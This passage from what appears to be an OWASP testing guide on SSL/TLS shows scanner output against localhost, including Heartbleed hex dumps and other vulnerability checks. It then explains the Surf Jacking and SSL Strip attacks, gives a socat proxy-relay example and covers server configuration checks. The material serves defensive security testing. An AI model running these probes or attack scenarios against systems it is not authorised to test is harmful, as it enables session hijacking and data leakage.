0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[!] HTTP elements embedded in SSL page: PRESENT<br />
[!] Vulnerable to MITM malicious content injection attack<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- HTTP RESOURCES EMBEDDED ---------------<br />
- http://othersite/test.js<br />
- http://somesite/test.css<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
Robust Solution:<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...<br />
<br />
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES<br />
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 <br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No <br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 12 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
<br />
<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
